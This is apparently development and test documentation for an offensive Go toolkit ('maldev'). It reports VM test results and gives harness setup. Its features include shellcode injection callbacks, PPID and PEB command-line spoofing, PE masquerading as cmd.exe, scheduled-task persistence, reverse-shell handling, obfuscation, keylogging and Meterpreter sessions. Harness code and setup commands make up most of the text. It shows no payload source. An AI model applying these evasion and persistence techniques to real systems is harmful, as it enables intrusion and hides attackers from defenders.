Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.
Sprint 2 Additions (2026-04-15)
Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.
inject callbacks — 3 new execution methods
| Method | Test | Result | Fix landed during session |
|---|---|---|---|
| CallbackReadDirectoryChanges | TestExecuteCallbackReadDirectoryChanges | PASS | – |
| CallbackRtlRegisterWait | TestExecuteCallbackRtlRegisterWait | PASS | WT_EXECUTEONLYONCE + RtlDeregisterWaitEx(INVALID_HANDLE_VALUE) to avoid post-free callback crash |
| CallbackNtNotifyChangeDirectory | TestExecuteCallbackNtNotifyChangeDirectory | PASS | STATUS_PENDING(0x103) accepted as success; Win11 CET stub requires endbr64 prefix |
Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe
endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).
persistence/scheduler — COM ITaskService rewrite
| Test | Result | Notes |
|---|---|---|
| TestCreateAndDelete | PASS | RegisterTaskDefinition + DeleteTask round-trip |
| TestCreateWithTimeAndDelete | PASS | TIME trigger |
| TestDeleteNonExistent | PASS | Error surface |
| TestCreateRequiresAction | PASS | Option validation |
| TestSplitTaskName | PASS | Unit test for path parsing |
| TestScheduledTaskMechanism | PASS | persistence.Mechanism interface |
| TestExistsNonExistent | PASS | Non-admin returns false cleanly |
| TestRunNonExistent | PASS | Error surface |
| TestList | PASS | Root-folder enumeration |
Two bugs fixed during the VM run: ole.NewVariant(VT_NULL) → nil
(oleutil marshaller panic), and StartBoundary now always set (Task
Scheduler rejects DAILY triggers without it).
runtime/clr — in-process .NET hosting
| Test | Result | Gate |
|---|---|---|
| TestInstalledRuntimes | PASS | always |
| TestLoadAndClose | SKIP* | ICorRuntimeHost unavailable |
| TestExecuteAssemblyEmpty | SKIP* | ICorRuntimeHost unavailable |
| TestExecuteDLLValidation | SKIP* | ICorRuntimeHost unavailable |
| TestInstallAndRemoveRuntimeActivationPolicy | PASS | always |
Load() tries CorBindToRuntimeEx first, falls back to
CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests
run inside a separate helper binary — testutil/clrhost/ — built on
demand with a committed <exe>.config that enables legacy v2 activation.
testutil.RunCLROperation spawns the helper, inspects its exit code, and
maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to
t.Skip so the test suite stays green.
* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed
.configand a fresh unmanaged helper process,GetInterface(CorRuntimeHost)still returnsREGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.
Runtime helpers for operational use:
clr.InstallRuntimeActivationPolicy()drops<exe>.confignext to the running binary beforeLoad.clr.RemoveRuntimeActivationPolicy()deletes it afterLoadsucceeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).
evasion/cet — CET shadow-stack manipulation
| Test | Result | Notes |
|---|---|---|
| TestMarker | PASS | Verifies Marker == ENDBR64 opcode |
| TestWrapIdempotent | PASS | Double-wrap is no-op |
| TestWrapEmpty | PASS | nil input → just Marker |
| TestWrapAlreadyCompliant | PASS | sc starting with ENDBR64 unchanged |
cet.Enforced() / cet.Disable() are environment-dependent and not
unit-asserted — verified manually on the Win10 VM (returns false; no CET
enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.
pe/masquerade — compile-time PE resource embedding (T1036.005)
End-to-end validation via pe/masquerade/internal/e2e_cmd_test:
| Step | Result |
|---|---|
| Generator read-only scan of System32 | PASS (5 identities × 2 UAC variants = 10 sub-packages) |
Blank-import → go build | PASS (syso auto-linked) |
| VERSIONINFO match | PASS — Get-Item masqtest.exe shows CompanyName "Microsoft Corporation", OriginalFilename "Cmd.Exe", full cmd.exe metadata |
process/session — WTS enumeration
| Test | Result | VM observation |
|---|---|---|
| TestList | PASS | Services(id=0,Disconnected) + Console(id=1,Active,test@DESKTOP-T8IB37P) |
| TestActiveSubsetOfList | PASS | invariant Active ⊆ List |
| TestSessionStateString | PASS | enum→name mapping |
Windows 11 CET gotcha
KiUserApcDispatcher rejects non-endbr64 indirect targets with
STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that
allocates a shellcode stub for an APC path must start with F3 0F 1E FA
(endbr64). Use testutil.WindowsCETStubX64.
Sprint 2 Extensions (2026-04-15)
Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).
c2/transport — server-side Listener interface
Adds Listener, NewTCPListener, NewTLSListener as the symmetric of
Transport for operator-side reverse-shell handlers. Thin wrappers over
net.Listen / tls.Listen with context-cancelable Accept.
Tests (11 PASS, 1 SKIP in loopback race):
TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr,
TestTCPContextCancel (SKIP: loopback accepts before ctx fires),
TestTCPContextCancelNonRoutable (non-routable addr forces the cancel
path), TestNewTLS_Options, TestWithFingerprint,
TestNewUTLS_Options, plus malleable HTTP tests.
c2/multicat — multi-session reverse-shell manager
Operator-side listener that multiplexes inbound shells into numbered
sessions, reads an optional BANNER:<hostname>\n within 500 ms, and
emits lifecycle events on a buffered channel. Never embedded in the
implant.
MITRE: T1571.
Tests (6 PASS, in-memory with net.Pipe):
TestListenAccept, TestSessionsIDSequential, TestBannerHostname,
TestRemoveSession, TestEvents, TestGet. Tests write "\n" from
the client side to unblock the 500 ms banner-read deadline so the
session registers before Sessions() snapshot.
crypto — lightweight obfuscation primitives
Non-cryptographic but signature-breaking transforms: TEA, XTEA
(8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift
(position-dependent byte add), S-Box (random 256-byte permutation +
inverse via Fisher-Yates on crypto/rand), and MatrixTransform /
"Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).
MITRE: T1027 / T1027.013.
Tests: TestTEARoundtrip, TestXTEARoundtrip,
TestArithShiftRoundtrip, TestSBoxRoundtrip,
TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.
Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the
untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta }
replaces it. matDet needs an explicit n == 1 case for 2×2 matrix
inversion (recursive cofactor minors land at 1×1).
process/tamper/fakecmd — SpoofPID remote PEB overwrite
Extends the existing self-spoof to a remote process. Opens the target
with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine,
allocates a new UTF-16 buffer in the target with
NtAllocateVirtualMemory, writes the fake string, and patches
Length / MaximumLength / Buffer of the UNICODE_STRING in place.
No Restore counterpart — the caller tracks the original.
Signature accepts an optional *wsyscall.Caller that routes both
NtQueryInformationProcess and NtAllocateVirtualMemory.
MITRE: T1036.005.
Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls
SpoofPID(pid, fake, nil), then reads the remote PEB back via
readRemoteCmdLine and asserts equality. Skipped on host when not
running as admin via testutil.RequireAdmin.
encode — markdown documentation page
No new Go code. Creates docs/techniques/encode/README.md covering
Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt,
and the encrypt → encode layering pattern. All existing encode
tests continue to PASS.
VM Infra Fixes Landed With This Sprint
- Persistent shared folder
maldevon Windows10 VM with--automount --auto-mount-point "Z:"soZ:\scripts\vm-test.ps1resolves. vm-test.ps1tolerates comma-separated-PackagesbecauseVBoxManage guestcontroldrops internal whitespace from--args; multi-package runs must pass a single./...glob, commas, or invoke the runner once per package.
License (license/)
VM-tagged tests in the license package run only with -tags vmtest. They are skipped on the host suite to avoid relying on machine-id files or per-OS storage.
| Test | VM | What it verifies |
|---|---|---|
TestHostIDLocal_Real | windows, linux | Real read of MachineGuid / /etc/machine-id |
TestBinaryPinning_HashFileStable | windows, linux | HashFile is deterministic across two reads |
TestIdentityPinning_RoundTrip | windows, linux | Full identity-pinning Verify path |
Run from the host:
./scripts/vm-run-tests.sh windows "./license/..." "-v -count=1 -tags vmtest"
./scripts/vm-run-tests.sh linux "./license/..." "-count=1 -tags vmtest"
Known Limitations
| Issue | Impact | Workaround |
|---|---|---|
| CreateFiber deadlocks Go scheduler | Cannot test with real shellcode in go test | Use standalone binary |
| ThreadHijack + Direct/Indirect | RSP alignment breaks NtGetContextThread | Use WinAPI or NativeAPI |
| Phant0m depends on EventLog state | May skip if threads untagged | Run immediately after VM restore |
| Clipboard needs Session 1 | guestcontrol = Session 0 | Run via scheduled task |
| Keylog singleton | Must wait 500ms between Start() calls | Sleep after cancel |
| findallmem after x64dbg attach | Returns 0 results | Use InitDebug or self-scan |
| Syscall stubs transient | Freed after Caller GC | Scan during execution, not after |
| MSF exits on stdin EOF | Handler dies after -r/-x commands | Add sleep 3600 as last -x command |
| PPID spoofing blocked | Kernel-level mitigation on Win 10 22H2 (not ASR) | Test on older OS or disable kernel mitigations |
| Ubuntu no host-only NIC | Cannot reach Kali for meterpreter | Add nic2 hostonly (requires VM shutdown) — DONE |
| KaliSSH inside VMs | localhost:2223 unreachable from other VMs | Use direct host-only IPs or env vars (MALDEV_KALI_HOST) |
| Kali DHCP IP mismatch | KaliHost=192.168.56.200, DHCP assigns .101 | sudo ip addr add 192.168.56.200/24 dev eth1 |
Coverage Workflow — test harness state (as of 2026-04-22)
This document is the entry point for any agent or contributor picking up the coverage + VM-testing work. It describes the infrastructure currently in place, how to reproduce it, what passes / skips / fails, and what's left to do.
[!NOTE] The pass/skip counts in this document reflect the 2026-04-22 baseline run. Newer infrastructure shipped after that date —
win/com.Errorshared HRESULT helper (consumed byruntime/clr+persistence/lnk),stealthopen.Creatorwrite-side interface (LNK / ADS / .kirbi / PE / .syso emit), and the LNK three-sink API (Save/BuildBytes/WriteTo/WriteVia) — has unit-test coverage running on host but has not been re-baselined underbash scripts/full-coverage.sh. Seetesting.mdfor the per-package row-level coverage table updated to the current API surface.
For bootstrap from scratch (creating VMs, SSH keys, INIT snapshots) see
docs/vm-test-setup.md. For per-test-type details (x64dbg harness, BSOD, Meterpreter matrix) seedocs/testing.md. This document is the cross-platform coverage collection workflow itself.
TL;DR — two commands to reproduce everything
# 1) Provision the VMs (idempotent — short-circuits what's already installed).
# Installs .NET 3.5 on win10, postgresql + msfdb on debian13, then takes
# a TOOLS snapshot per VM. ~10 min on first run, <30s on re-runs.
bash scripts/vm-provision.sh
# 2) Collect coverage end-to-end (host + Linux VM + Windows VM, all gates
# open, consolidated report). ~25 min.
bash scripts/full-coverage.sh --snapshot=TOOLS
Outputs (written to ignore/coverage/, which is gitignored):
report-full.md— per-package table sorted by ascending coverage, with a function-level gap list for the packages that aren't at 100%.cover-merged-full.out— merged Go cover profile (consumable bygo tool cover).tallies.txt— one-line per-run summary in nativego testformat.<domain>/test.log+<domain>/cover.out— per-VM artifacts.
Script architecture
| Script | Role | Depends on |
|---|---|---|
cmd/vmtest | VM orchestrator (start, push, exec, fetch, stop, restore). Extension of the existing tool: new -report-dir flag auto-fetches cover.out + test.log | libvirt or VirtualBox; scripts/vm-test/config.yaml + config.local.yaml |
scripts/vm-provision.sh | Installs missing tools in each VM and snapshots TOOLS | SSH to the 3 VMs; sudo on Kali; UAC bypass via schtasks SYSTEM on Windows |
scripts/full-coverage.sh | End-to-end wrapper: boots the 3 VMs, exports all gates, runs host + Linux VM + Windows VM, merges profiles, restores snapshots | internal/tools/coverage-merge, cmd/vmtest |
internal/tools/coverage-merge | Merges N Go cover profiles (union, per-block max hit count), renders Markdown | go tool cover |
Common flags:
--snapshot=NAME(defaultINIT) — snapshot used for restore, also forwarded tovmtestviaMALDEV_VM_*_SNAPSHOT.--no-restore— leave VMs running after the run (debugging).--skip-host/--skip-linux-vm/--skip-windows-vm— granular control.--only=<vm>onvm-provision.sh— provision a single VM.- Env overrides (
MALDEV_VM_WINDOWS_SSH_HOST,MALDEV_KALI_SUDO_PASSWORD,MALDEV_VM_SNAPSHOT, …) for portability across hosts.
Concrete usage examples
# Provision just Windows, don't touch Kali/Linux.
bash scripts/vm-provision.sh --only=windows
# Quick iteration on a single package — skip the host + Linux VM phases.
bash scripts/full-coverage.sh --snapshot=TOOLS --skip-host --skip-linux-vm
# Cross-version coverage: include the optional second Windows build (win11-2).
# Auto-skips when scripts/vm-test/config.local.yaml has no windows11: block.
bash scripts/full-coverage.sh # win10 + win11-2 + linux + kali
# Skip the second Windows build explicitly:
bash scripts/full-coverage.sh --skip-windows11-vm
# Narrow vmtest directly at one package (faster than the full wrapper).
MALDEV_VM_WINDOWS_SSH_HOST=192.168.122.122 \
MALDEV_VM_WINDOWS_SNAPSHOT=TOOLS \
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 \
go run ./cmd/vmtest -report-dir=ignore/coverage windows \
"./runtime/clr/..." "-count=1 -v -timeout=5m"
# Merge arbitrary profiles by hand.
go run internal/tools/coverage-merge \
-out ignore/coverage/cover-merged.out \
-report ignore/coverage/report.md \
ignore/coverage/cover-linux-host.out \
ignore/coverage/win10/cover.out \
ignore/coverage/win10/clrhost-cover.out
Snapshot inventory
Each VM has two snapshots dedicated to the test harness:
| VM | INIT | TOOLS |
|---|---|---|
win10 | Go 1.26.2 + OpenSSH + authorized_keys | INIT + .NET Framework 3.5 enabled |
win11-2 (optional) | Go 1.26.2 + OpenSSH + authorized_keys | not provisioned — second build for cross-version sanity, no TOOLS additions yet |
debian13 (Kali) | Go + MSF + OpenSSH + authorized_keys | INIT + postgresql enable --now + msfdb init |
ubuntu20.04- | Go 1.26.2 + rsync + authorized_keys | (placeholder — identical to INIT for now) |
Rule: always test on TOOLS. INIT stays pristine as a fallback if
TOOLS gets corrupted. vm-provision.sh is idempotent: if TOOLS already
exists and the tools are already installed, it's a no-op.
Test gates (environment variables)
The harness uses opt-in gates so running go test ./... locally doesn't
accidentally trigger destructive operations.
| Variable | Effect | When to enable |
|---|---|---|
MALDEV_INTRUSIVE=1 | Unblocks tests that mutate process state (hooks, patches, injection) | VM runs only |
MALDEV_MANUAL=1 | Unblocks tests that need admin + VM (services, scheduled tasks, impersonation with password, CLR legacy path, CVE PoCs) | VM runs only |
MALDEV_KALI_SSH_HOST / _PORT / _KEY / _USER | Points to the Kali VM for MSF/Meterpreter tests | Always set when Kali is up |
MALDEV_KALI_HOST | LHOST for reverse payloads — same IP as Kali | Ditto |
MALDEV_VM_WINDOWS_SSH_HOST / _LINUX_SSH_HOST | Overrides virsh domifaddr auto-discovery when the libvirt session can't see DHCP leases (Fedora host) | On hosts where auto-discovery fails |
MALDEV_VM_*_SNAPSHOT | Selects the snapshot used for restore per VM | To pin TOOLS explicitly |
scripts/full-coverage.sh exports all 10 variables automatically — pass
--snapshot=TOOLS and it handles the rest.
Reference results (run from 2026-04-22 — TOOLS snapshot)
cover-linux-host.out cov=44.8% (host, all gates)
ubuntu20.04- cov=44.4% P=310 F=0* S=41 (Linux VM)
win10 cov=50.0% P=672 F=0** S=23 (Windows VM)
----------------------------------------
cover-merged-full.out cov=51.9% (merged)
Progression over the course of the work:
| Step | Merged coverage | Delta |
|---|---|---|
| Baseline (Linux host only, no gates) | 39.4% | — |
| + Linux VM + Windows VM (3 batches) | 41.3% | +1.9 |
| + 16 stub tests added | 43.1% | +1.8 |
+ MALDEV_INTRUSIVE=1 + MALDEV_MANUAL=1 + Kali | 51.3% | +8.2 |
+ TOOLS snapshot (.NET 3.5) | 51.3% | +0 ¹ |
+ compat polyfill tests (cmp, slices) | 51.4% | +0.1 |
| + clrhost subprocess coverage merge | 51.9–52.0% | +0.6 |
¹ The runtime/clr CLR tests still SKIP on this VM — the TOOLS provisioning
enabled .NET 3.5 but the legacy v2 COM activation chain remains incomplete
(see CLR v2 activation blocker below). The
merge coverage for runtime/clr is from the failure paths in Load(), which
the clrhost-cover.out profile captures.
* Historical: TestProcMemSelfInject flapped 2 out of 3 runs (transient
SIGSEGV in the child during exit cleanup, after injection succeeded).
Fixed via 3× retry + PROCMEM_OK marker match in stdout instead of
relying on exit code.
** Historical: TestBusyWaitPrimality failed on the Windows VM (took
10.15 s against a 10 s upper bound). Fixed by raising the bound to
60 s — the VM's CPU is shared (20 vCPUs / 4 GB RAM) and non-deterministic.
Remaining SKIPs — justified inventory (64 across the all-gates run)
SKIPs aren't a defect as long as each one is legitimate. Classification:
| # | Family | Examples | Fixable? |
|---|---|---|---|
| 40 | Platform mismatch | RequireWindows on Linux VM, RequireLinux on Windows | No — by design |
| 5 | Skip-because-admin | TestAddAccessDenied tests the "Access Denied" branch when not admin; correct to skip when we are admin | No — inverted-logic check |
| 3 | .NET 3.5 subprocess paths | TestLoadAndClose, TestExecuteAssembly*, TestExecuteDLL* | Partial — see "clrhost" above |
| 3 | External tools missing | TestBuildWithCertificate (signtool, Windows SDK 1 GB), TestUPXMorphRealBinary (UPX 3.x only — we have 4.2.4) | High cost — documented |
| 3 | Interactive session required | TestCapture*, TestCaptureSimulatedKeystrokes — need session 1 (desktop); SSH opens session 0 | Possible via RDP + AutoLogon, low priority |
| 4 | SC-specific context | Test{Hide,UnHide}Service* — require a pre-existing service with a specific SD | Would need a dummy service in TOOLS |
| 3 | MSF timing / PPID | TestMeterpreterRealSession (×2), TestPPIDSpoofer — MSF boot timing + PPID race | Retry loop possible |
| 2 | !windows stubs | TestEnforcedNonWindowsStub, TestDisableNonWindowsStub | Correctly skip on Windows — no action |
| 2 | NTFS / memory protection | TestFiber_RealShellcode, TestSetObjectID | Defender / NTFS quirks |
CLR v2 legacy activation blocker
runtime/clr tests (TestLoadAndClose, TestExecuteAssemblyEmpty,
TestExecuteDLLValidation, TestExecuteDLLReal) skip with:
clr: ICorRuntimeHost unavailable (install .NET 3.5 and call InstallRuntimeActivationPolicy before Load)
This is environmental, not a code bug. Diagnosed during the 2026-04-22 session:
Get-WindowsOptionalFeature -Online -FeatureName NetFx3→State=EnabledC:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dllpresent (10.6 MB)- A hand-written C#
hello.cscompiled withv2.0.50727\csc.exeruns correctly — the v2 runtime itself works end-to-end TestInstallAndRemoveRuntimeActivationPolicyPASSES (writes/removes the legacy config file correctly)
Root cause: CLSID {CB2F6722-AB3A-11D2-9C40-00C04FA30A3E} (CorRuntimeHost)
is not registered in HKLM\SOFTWARE\Classes\CLSID\. Only the sibling
CLSID {CB2F6723-AB3A-11d2-9C40-00C04FA30A3E} (IMetaDataDispenser)
exists. DISM /Enable-Feature /FeatureName:NetFx3 is not sufficient —
it enables the runtime bits but leaves the legacy v2 activation chain
incomplete.
Attempts that did NOT unblock it (all tried during the session):
- Reboot (actually
shutdown /runder SYSTEM didn't really reboot) regsvr32 mscoree.dll(System32 + SysWOW64, both exit 0 but CLSID still missing)RegAsm.exe mscorlib.dll /codebase(failed RA0000 "need admin credentials" even under SYSTEM)- Manual
reg importof the CLSID structure mirroring the sibling{CB2F6723-…}entry — keys exist (HKLM\SOFTWARE\Classes\CLSID\{CB2F6722-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32→mscoree.dll,ThreadingModel=Both,ProgID=CLRRuntimeHost,ImplementedInThisVersion={2.0.50727,4.0.30319}) butCorBindToRuntimeExstill returns0x80040154 (REGDB_E_CLASSNOTREG)for both v2.0.50727 and v4.0.30319. Confirmed 2026-04-25 with a one-shot Go diagnostic that callsmscoree!CorBindToRuntimeExdirectly and prints the raw HRESULT. Conclusion: mscoree's internal binding looks at more than just the CLSID — interface registration, typelib, and Fusion entries are also missing, and only the full.NET 3.5 Redistributable(offlinedotnetfx35.exefrom Win7-era, or the in-placesources/sxspayload from a Win10 ISO) runs the complete chain. InstallRuntimeActivationPolicy()at startup ofclrhost(writes<exe>.config— doesn't help, the issue is COM registration)
What was added in TOOLS v2 (2026-04-25):
scripts/vm-provision.shnow imports the CLSID{CB2F6722-…}entry every provisioning pass, so future debug rounds start from the same baseline rather than rediscovering the missing key. It also pushes + runsdism /online /Add-Packageagainst the Win10 ISO'ssources/sxs/microsoft-windows-netfx3-ondemand-package*.cabwhen staged atMALDEV_NETFX3_CAB. Confirmed 2026-04-25 that this still doesn't unblockCorBindToRuntimeExafter a reboot, but it gets the snapshot one step closer to a working CLR2 activation chain.runtime/clr/clr_windows.go::corBindToRuntimeExwraps theREGDB_E_CLASSNOTREGpath with%w+ the raw HRESULT, so SKIP messages now readCorBindToRuntimeEx(v2.0.50727): HRESULT 0x80040154 (REGDB_E_CLASSNOTREG): clr: ICorRuntimeHost unavailable …— the next investigator sees the actual code without rebuilding.
What was tried + ruled out 2026-04-25 (after pt 1/2):
dism /online /enable-feature /featurename:NetFx3 /all /Source:<sources/sxs> /LimitAccessafter adism /disable-featureround-trip — failed0x488 (1168, ERROR_NOT_FOUND). The OnDemand cab alone isn't enough for /enable-feature.dism /online /Add-Package /PackagePath:<sources/sxs/...netfx3-ondemand...cab>— succeeded, exit3010 (REBOOT_REQUIRED). After reboot,CorBindToRuntimeExstill returns0x80040154. The OnDemand package adds the runtime files but not the legacy COM/typelib/Fusion chain mscoree binds against.- Win7-era
.NET Framework 3.5 Redistributable(dotnetfx35.exe, 232 MB from Microsoft download CDN) — the installer ran silently and returned0but produced no log content beyondDONE_EXIT=0; on Win10 it refuses to install (the OS is "newer than supported"). HRESULT unchanged.
What to try next (still open, needs Windows ISO):
- Mount a Win10 22H2 ISO inside the VM and run
dism /online /enable-feature /featurename:NetFx3 /all /source:D:\sources\sxs /LimitAccess. This drives the full registration chain that the network-only DISM path skips. - Install the
.NET Framework 3.5 Redistributableoffline installer (dotnetfx35.exe, Win7-era) — even on Win10 it tends to trigger the full COM/typelib/Fusion registration viamscorsvw.exepost-install hooks. sfc /scannowto restore system file coherence.- Re-provision the
win10VM from a fresh Windows ISO that bundles .NET 3.5 in the install base rather than activated after the fact via DISM.
The clrhost coverage infrastructure itself is correct — go build -cover,
GOCOVERDIR, go tool covdata textfmt, vmtest.Fetch, and coverage-merge.go
all work. When the CLR environment cooperates, 7+ runtime/clr functions light
up in the merged profile (Load 56.7%, enumerate 100%, orderCandidates
90%, metaHostRuntime 77.8%, runtimeInfoBindLegacyV2 100%, runtimeInfoCorHost
62.5%, createMetaHost 80%). Don't rewrite the mechanism — just fix the VM.
Other open leads
-
Signtool — install Windows SDK (headless via
winget install Microsoft.WindowsSDK), re-snapshotTOOLS. UnblocksTestBuildWithCertificate. -
Service skeleton for
cleanup/service— pre-create a dummy service in theTOOLSsnapshot (sc create maldev-test-svc binPath=C:\Windows\System32\cmd.exe). UnblocksTest{Hide,UnHide}Service*. -
Packages without
_test.go(29 as of 2026-04-22; seeignore/coverage/no-tests.txtif regenerated) — mainlycmd/*binary entry points andpe/masquerade/preset/*. The former aremain()functions (out of scope for unit tests); the latter are resource-only packages with no executable code. -
Meterpreter matrix —
scripts/x64dbg-harness/meterpreter_matrix/exercises 20 techniques × MSF sessions. Not integrated intofull-coverage.shyet; run manually. Results logged indocs/testing.md. -
Automated "missing tool" detection — extend
vm-provision.shto actively probe for signtool, Windows SDK, interactive session (today it checks only NetFx3, postgresql, msfdb). Add an issue-style section in the log listing what's absent.
Files produced by this work
cmd/vmtest/driver.go # +Fetch, +io.Writer in Exec
cmd/vmtest/driver_libvirt.go # +Fetch scp, +io.Writer
cmd/vmtest/driver_vbox.go # +Fetch copyfrom, +io.Writer
cmd/vmtest/runner.go # +-report-dir, -coverprofile inject, tee log, Fetch cover.out + clrhost-cover.out
cmd/vmtest/runner_test.go # 4 unit tests (injectCoverprofile, safeLabel, guestCoverPath, guestClrhostCoverPath)
cmd/vmtest/main.go # +-report-dir flag
internal/tools/coverage-merge # merge N cover profiles → Markdown
scripts/full-coverage.sh # end-to-end workflow
scripts/vm-provision.sh # install tools + snapshot TOOLS
docs/coverage-workflow.md # this file
testutil/kali_test.go # 4 env resolvers (kaliSSHHost/Port/Key/User)
testutil/clr_windows.go # clrhost built with -cover, covdata → textfmt
testutil/clrhost/main.go # +exec-dll-real op, +--dll-path flag
testutil/clrhost/maldev_clr_test.dll # 3 KB .NET 2.0 assembly (Maldev.TestClass.Run)
evasion/unhook/factories_test.go # 5 factories + Name methods (Windows)
recon/hwbp/technique_test.go # Technique() factory (Windows)
evasion/cet/cet_test.go # +Enforced/Disable stub tests
process/tamper/hideprocess/hideprocess_stub_test.go
evasion/stealthopen/stealthopen_stub_test.go
process/tamper/fakecmd/fakecmd_stub_test.go
evasion/preset/preset_stub_test.go
evasion/hook/hook_stub_test.go
evasion/hook/probe_stub_test.go
evasion/hook/remote_stub_test.go
evasion/hook/bridge/controller_stub_test.go
evasion/hook/bridge/controller_windows_test.go # 8 deeper tests for CallOriginal, Args, Log, Ask
evasion/hook/hook_lifecycle_windows_test.go # TestReinstallAfterRemove, TestInstallOnPristineTargetAfterGroupRollback
c2/transport/namedpipe/namedpipe_stub_test.go
cleanup/ads/ads_stub_test.go
process/session/sessions_stub_test.go
runtime/clr/clr_stub_test.go
internal/compat/cmp/cmp_modern_test.go
internal/compat/slices/slices_modern_test.go
runtime/clr/clr_windows_test.go # +TestExecuteDLLReal
recon/timing/timing_test.go # TestBusyWaitPrimality upper bound 10s → 60s
inject/linux_test.go # TestProcMemSelfInject retry 3× + PROCMEM_OK marker
Troubleshooting
- VM unreachable over SSH.
virsh -c qemu:///session list --all,virsh start <vm>, checkip neigh show | grep 52:54(VM MAC in the ARP table). Session-mode libvirt doesn't expose DHCP leases viavirsh domifaddr, hence the env-pinned IPs. - DISM "Access denied". OpenSSH on Windows 10 runs at medium
integrity; UAC blocks elevation. Workaround: run via
schtasks /ru SYSTEM(seescripts/vm-provision.shfor the pattern). - Kali
sudoprompts for a password. Default istest; override viaMALDEV_KALI_SUDO_PASSWORD. TOOLSsnapshot corrupted.virsh snapshot-delete <vm> --snapshotname TOOLS, then re-runvm-provision.sh.- Windows tests frozen with no output.
go test ./...compiles silently for the first ~5 min — that's normal. Use-vto see each test as it starts rather than waiting for the package-level summary. TestProcMemSelfInject/TestBusyWaitPrimalityred. If they flap despite the retry/bound fixes, reproduce withgo test -count=5 -run <Name>and tighten further.- VM silently pauses mid-run (QEMU
pausedstate). Observed 2 out of 5 runs during the 2026-04-22 session. ARP entry for the VM drops, SSH returns "No route to host". Workaround:virsh destroy <vm> && virsh snapshot-revert <vm> --snapshotname TOOLS --force, then relaunch. If chronic, recreateTOOLSfrom a freshINIT. runtime/clrtests SKIP withICorRuntimeHost unavailable. See the CLR v2 activation blocker section above. Not a code bug in maldev — the.NET 3.5install on this VM is incomplete at the COM-registration layer.
VM Test Setup — Reproducible Bootstrap
Scope. This document covers bootstrap from zero: host tools, guest OS install, SSH keys,
INITsnapshot. For per-test-type details (injection matrix, Meterpreter, evasion byte-pattern verification, BSOD) seedocs/testing.md. For the cross-platform coverage collection workflow (merged report) seedocs/coverage-workflow.md.
This guide brings a fresh host (Fedora/libvirt or Windows/VirtualBox)
to the state where ./scripts/test-all.sh runs the full pass/fail matrix:
- memscan static verification matrix — 77+ byte-pattern checks
- Linux VM go test — intrusive + manual tests enabled
- Windows VM go test — intrusive + manual tests enabled
For the merged coverage workflow (same VMs, additionally captures
cover.out from each guest and unions profiles into a single report),
run scripts/full-coverage.sh after provisioning a TOOLS snapshot with
scripts/vm-provision.sh — see docs/coverage-workflow.md.
The Kali VM (Meterpreter handler) is provisioned similarly but orchestrated
separately via testutil/kali.go.
Host requirements
| Host OS | Hypervisor | Tools the host needs |
|---|---|---|
| Fedora / Debian / Ubuntu | libvirt + qemu | virsh, ssh, scp, rsync, sshpass (for install-keys.sh), Go 1.25+ |
| Windows 10/11 | VirtualBox 7+ | VBoxManage on PATH, Git for Windows (Git Bash), Go 1.25+ |
Fedora quick install:
sudo dnf install -y @virtualization virt-manager virt-install sshpass rsync openssh-clients
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt "$USER" # re-login required
Windows: download VBox + Go MSI, add C:\Program Files\Oracle\VirtualBox
to PATH, open Git Bash.
VM inventory
Three VMs, names committed in scripts/vm-test/config.yaml as defaults.
Per-host overrides in scripts/vm-test/config.local.yaml (gitignored).
| Role | VirtualBox default name | libvirt default name | Snapshot | User | Purpose |
|---|---|---|---|---|---|
| Windows | Windows10 | win10 | INIT | test (admin) | unit + intrusive tests, memscan target |
| Windows 11 (optional) | Windows11 | win11-2 | INIT | test (admin) | second Windows build for cross-version coverage |
| Linux | Ubuntu25.10 | ubuntu20.04 | INIT | test | Linux unit tests, procmem/memfd/ptrace |
| Kali | (not managed by vmtest) | kali | INIT | test | MSF msfconsole/msfvenom, Meterpreter end-to-end |
The windows11 target is optional — vmtest all runs all configured
VMs but vmtest windows / vmtest windows11 lets you target one
build at a time. To add a second Windows VM after the first is set
up, repeat the bootstrap steps with the libvirt domain name in
config.local.yaml's vms.windows11.libvirt_name.
INIT is a snapshot taken AFTER provisioning (Go installed, OpenSSH up,
SSH key authorized, firewall opened). Every test run reverts to INIT.
One-time bootstrap, from scratch
1. Generate host-side SSH keys (one per VM role)
mkdir -p ~/.ssh && chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/vm_windows_key -N '' -C "maldev-vmtest-windows"
ssh-keygen -t ed25519 -f ~/.ssh/vm_linux_key -N '' -C "maldev-vmtest-linux"
ssh-keygen -t ed25519 -f ~/.ssh/vm_kali_key -N '' -C "maldev-vmtest-kali"
Keys live outside the repo. Never committed.
2. Install the guest OSes
